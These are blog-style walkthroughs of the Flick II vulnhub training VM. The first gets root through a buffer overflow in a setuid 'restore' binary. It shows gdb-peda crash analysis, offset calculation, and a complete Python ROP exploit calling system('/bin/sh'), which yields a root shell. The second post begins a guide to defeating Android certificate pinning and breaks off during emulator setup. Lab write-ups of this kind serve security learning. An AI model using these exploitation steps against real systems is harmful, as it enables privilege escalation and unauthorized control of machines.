[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"],

So its cd’ing into:

/usr/share/nginx/serverchecker/storage

and then doig a “tar … *

Sounds like someone is going wild with wildcards!

seanitisRead the linked paper above if you don’t understand what just happened!

Been there sean that

Whats the counterpart to /usr/local/bin/backup?
/usr/local/bin/restore of course!

Lets take a look at that folder again:

[sean@fII bin]$ ls -lisah
ls -lisah
total 2.0M
 33554623 0 drwxr-xr-x. 2 root root 59 Aug 17 2015 .
 188 4.0K drwxr-xr-x. 12 root root 4.0K Jun 22 2015 ..
 33554598 12K -rwsr-x---. 1 sean bryan 8.7K Jul 2 2015 backup
 68148501 1.1M -rwxr-xr-x. 1 root root 1.1M Jun 22 2015 composer
 34598952 12K -rwx--x--x. 1 root root 8.7K Jul 2 2015 dice
101716415 848K -rwsr-x--- 1 root sean 846K Aug 15 2015 restore

A root suid binary!

Lets analyze it a bit closer: 1. Normal behavior:

[sean@fII bin]$ restore

Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: /tmp
/tmp
Output directory is: /tmp
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

A closer look with file:

[sean@fII bin]$ file restore

restore: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0768c7f84a21b18fa6e6779730ef0fa5d7161706, not stripped

Lets try to overflow the Manual input:

[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa is invalid. Directory names need to end with a /
[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Segmentation fault

Segfault! There is probably a Buffer Overflow here!

Until now I only have done 32bit Bufferoverflows but I can at least verify that I can overwrite the Instruction Point!

I scp’ed the binary to my Kali box and ran it in gdb:

First I am going to check the security features it was compiled with:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

NX – No Execution means I cannot simply put my shellcode on the stack as it is marked as non-executable (time to learn ROP!).

sdf

root@kali:~/vulnhub/flickII# gdb restore
GNU gdb (Debian 7.11.1-2) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from restore...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/vulnhub/flickII/restore 
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 200 times>...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffec6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Output directory is: ", 'A' <repeats 179 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe118 ('A' <repeats 200 times>...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x124 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ('A' <repeats 200 times>...)
0008| 0x7fffffffe120 ('A' <repeats 200 times>...)
0016| 0x7fffffffe128 ('A' <repeats 200 times>...)
0024| 0x7fffffffe130 ('A' <repeats 196 times>)
0032| 0x7fffffffe138 ('A' <repeats 188 times>)
0040| 0x7fffffffe140 ('A' <repeats 180 times>)
0048| 0x7fffffffe148 ('A' <repeats 172 times>)
0056| 0x7fffffffe150 ('A' <repeats 164 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

No 41’s in RIP!!!!!!! :’-(

Time to learn new stuff! Thanks again to @_RastaMouse who pointed me to two wonderful 64bit BOF tutorials from @superkojiman:

https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

So to quote the first tutorial:

So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. Recall as I mentioned earlier that the maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. So really the goal is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset…

So thats why there are no A’s in RIP! But as you can read in the first tutorial the following works:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Now we need to append the first Input Value:

root@kali:~/vulnhub/flickII# sed -i '1i/tmp/' pattern.txt 
root@kali:~/vulnhub/flickII# cat pattern.txt 
/tmp/
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

And feed that into the program inside of gdb

gdb-peda$ r < pattern.txt 
Starting program: /root/vulnhub/flickII/restore < pattern.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffe5a 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAS"...)
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x7925417825415a25 ('%ZA%xA%y')
R9 : 0x5725417425415625 ('%VA%tA%W')
R10: 0x190 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0016| 0x7fffffffe128 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0024| 0x7fffffffe130 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0032| 0x7fffffffe138 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0040| 0x7fffffffe140 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0048| 0x7fffffffe148 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0056| 0x7fffffffe150 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

Okay Im not yet really experienced in this so you might want to double-check or read up on this but my understanding is:

  • When a new function is called, first the return address is pushed on the stack and then the new stack frame is posted about it
  • At the time of the crash the RSP points directly above the Return Adress

So lets check out RSP and calculate the offset of RIP:

Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$ x/wx $rsp
0x7fffffffe118: 0x65414149
gdb-peda$ pattern_offset 0x65414149
1698775369 found at offset: 72
gdb-peda$

So RIP starts at offset 72 Bytes should be 6 bytes long and prepended with 2 null bytes.

Again thanks to @superkojiman for his python template to generate an according string:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242
buf += "C"*100 # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Now lets feed this into the binary inside of gdb:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 72 times>, "BBBBBB")
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7fffff9c 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: ", 'A' <repeats 72 times>, "BBBBBB\n")
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe120 ('C' <repeats 100 times>)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4e ('N')
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe120 ('C' <repeats 100 times>)
0008| 0x7fffffffe128 ('C' <repeats 92 times>)
0016| 0x7fffffffe130 ('C' <repeats 84 times>)
0024| 0x7fffffffe138 ('C' <repeats 76 times>)
0032| 0x7fffffffe140 ('C' <repeats 68 times>)
0040| 0x7fffffffe148 ('C' <repeats 60 times>)
0048| 0x7fffffffe150 ('C' <repeats 52 times>)
0056| 0x7fffffffe158 ('C' <repeats 44 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$

So now I control EIP like in the old (x86) days!

So lets remember the NX security flag! I cannot just put my shellcode on the stack (in the buffer string) and execute it!

I need to used Returned Oriented Programming (ROP) and try to find so called ROP Gadgets on the stack that that return to libc so I can pass my own command to libc after the program finishes (crashes)!

So as mentioned a couple of times this is all heavily borrowed, but I like to explain it a bit more in details (for simpleminded people like myself):

  1. I want to jump (return) to system()I can find the Address of system() with gdb-peda:
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x401fd0 <system>

    –> 0x401fd0

  2. I want system() to spawn me a /bin/shFor this to work I need to push a memory address that contains “/bin/sh” into RDI, as arguments for function calls are apparently transmitted via registers in 64bit architecture.I can use gdb-peda again to find this:
    gdb-peda$ find "/bin/sh"
    Searching for '/bin/sh' in: None ranges
    Found 2 results, display max 2 items:
    restore : 0x492bad --> 0x68732f6e69622f ('/bin/sh')
    restore : 0x492d20 --> 0x68732f6e69622f ('/bin/sh')

    I used the second one –> 0x492d20

  3. The Buffer string will place the above aquired memory address on the stack, now I need a rop gadget (instruction) that pushes the top of the stack into RDI.I can find this gadget using ropper:
    [INFO] Searching for gadgets: pop rdi
    
    [INFO] File: restore
    0x000000000046c2fd: pop rdi; add eax, dword ptr [rax]; add byte ptr [rax - 0x7d], cl; ret 0x4910; 
    0x000000000047bf07: pop rdi; fmulp st(1); ret; 
    0x0000000000412de9: pop rdi; in al, dx; mov qword ptr [rdi - 0xc], rcx; mov dword ptr [rdi - 4], edx; ret; 
    ...
    ...
    ...
    0x00000000004af2a9: pop rdi; cmc; jmp qword ptr [rax]; 
    0x00000000004ae825: pop rdi; cmc; jmp qword ptr [rdx]; 
    0x000000000040167e: pop rdi; ret; 
    0x0000000000454747: pop rdi; sti; jmp qword ptr [rsi + 0xf];

    –> 0x000000000040167e: pop rdi; ret;

With this 3 gadgets I can now build my very own first x64 and my very own first ROP exploit:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x000000000040167e) # pop rdi; ret - found via >ropper --file restore --search "pop rdi"
buf += pack("<Q", 0x492d20) # /bin/sh - found via gdb-peda$ find "/bin/sh"
buf += pack("<Q", 0x401fd0) # system - found via gdb-peda$ p system 

f = open("in.txt", "w")
f.write(buf)

Now lets try this locally on Kali in gdb-peda first:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
[New process 12389]
process 12389 is executing new program: /bin/dash
[New process 12390]
process 12390 is executing new program: /bin/dash
[Inferior 3 (process 12390) exited normally]
Warning: not running or target is remote

I see 2 /bin/dash, I hope that is good! :)

Lets pipe directly into the binary:

root@kali:~/vulnhub/flickII# (cat in.txt; cat) | ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
uid=0(root) gid=0(root) Gruppen=0(root)

This looks good! Obviously I already started the binary as root, however remember the original functionality of the program? It did not provide an interactive prompt!!!

So lets transfer the exploit to flickII and see if I can get root via the setuid version of the binary there:

[sean@fII bin]$ curl http://192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py
</192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py 
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 416 100 416 0 0 34955 0 --:--:-- --:--:-- --:--:-- 37818
[sean@fII bin]$ cd /tmp
cd /tmp
[sean@fII tmp]$ chmod +x myexploit.py
chmod +x myexploit.py
[sean@fII tmp]$ ./myexploit.py
./myexploit.py
[sean@fII tmp]$ python myexploit.py
python myexploit.py
[sean@fII tmp]$ cat in.txt
cat in.txt
/tmp/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@ -I�@[sean@fII tmp]$ 

[sean@fII tmp]$ 
[sean@fII tmp]$ cat in.txt | /usr/local/bin/restore
cat in.txt | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
Segmentation fault
[sean@fII tmp]$ id
id
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)
[sean@fII tmp]$ (cat in.txt; cat) | /usr/local/bin/restore
(cat in.txt; cat) | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/


Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

HELL YEAH \o/

And here I plant my flag:

flag

Thanks

This VM was a real blast for me! First I could apply my newly learnt skills from this Years 2016 SANS Holiday Hack Challenge!

Then I could freshen up some rusty LD_PRELOAD knowledge and finally it forced me to understand and write my first 64bit and my first ROP exploit! :-D

Thanks to:

@leonjza for this awesome VM
@_RastaMouse for helping me in IRC and his great WriteUp!
@superkojiman for his awesome 64bit Stack Smashing Tutorials!!!

Posted in boot2root, miscellaneous, vulnhub | 1 Comment

vulnhub: flickII – a different approach – walkthrough part1

Hey,

Another vulnhub walkthrough, however this time a special one for me, because it required new special knowledge I just acquired.

Flick II on vulnhub: https://www.vulnhub.com/entry/flick-2,122/

Introduction to FlickII

I first grabbed FlickII when it was fresh in August 2015. I loved that it comes with an Android APK, that is the key to hack the VM!

So when you download and extract the VM image it is accompanied by an Android APK! Back in August 2015 I already figured out how to set up an Android Emulator and use burp to mitm Android apps!

However my plans were quickly dismissed when I learned that Certificate Pinning is common to secure the SSL Traffic between Android Apps and their API’s :-(

Before benching the VM for over a year I quickly checked the existing Walkthroughs but decided they were way to complicated for a “non-programmer” like myself…

Thanks SANS!

But thanks to this years SANS HolidayHackChallenge 2016 I learnt a great deal about hacking Android APKs!

So even before I start with the Writeup of the HolidayHackChallenge I needed to return to FlickII and apply my newly acquired skills on this VM!

The basic idea I had was that instead of diving too deep into the Android smali or decompiled Java code I would just hack out the Certificate Pinning! :-)

I loved the idea because once I manage to do this, this will be a highly useful skill for any further android application investigations!

So lets start with the writeup:

Walkthrough Part 1: From APK to Shell

First Order of Business: Setting it all up!

As already stated the VMs comes accompanied by an Android APK and a README file:

files

 

The README file gives us a nice mission:

mission

So cool! :-)

So without much explaining the basics – Detecting the IP of the VM after booting:

nmap-1

 

And a nmap script scan:

nmap-scriptscanning

Accessing the HTTPS Webserver gives an API Message:

first-api-call

 

What Android Emulator to use?

So now it is time to boot up an Android Emulator! I really like the Emulator from Android Studio so I used that one. However I have heard a lot good talk about Genymotion! So if you don’t want to install a whole Android IDE you might want to check out Genymotion!

I have not tried it yet (I really should) however when I first started with this over a year ago Genymotion required VirtualBox as a basis. But because i already have VMware Fusion running on my Mac I did not want to install another virtualization product that hooks my Network interfaces and all that stuff a Virtualization Software needs to do to work properly…

So if you are going the Android Studio route and use the Emulator for the first time you probably want to start the Android Virtual Device Manager:

  1. Start Android Studio
  2. Go To Tools -> Android -> AVD Manager:android-studio

 

3. Now you have a nice GUI to create a virtual android device to your liking: AVD Manager

avd-manager

Here I set up a phone in AVD Manager!

Once you have a Virtual Android Device set up you can easily start it anytime by a direct console command:

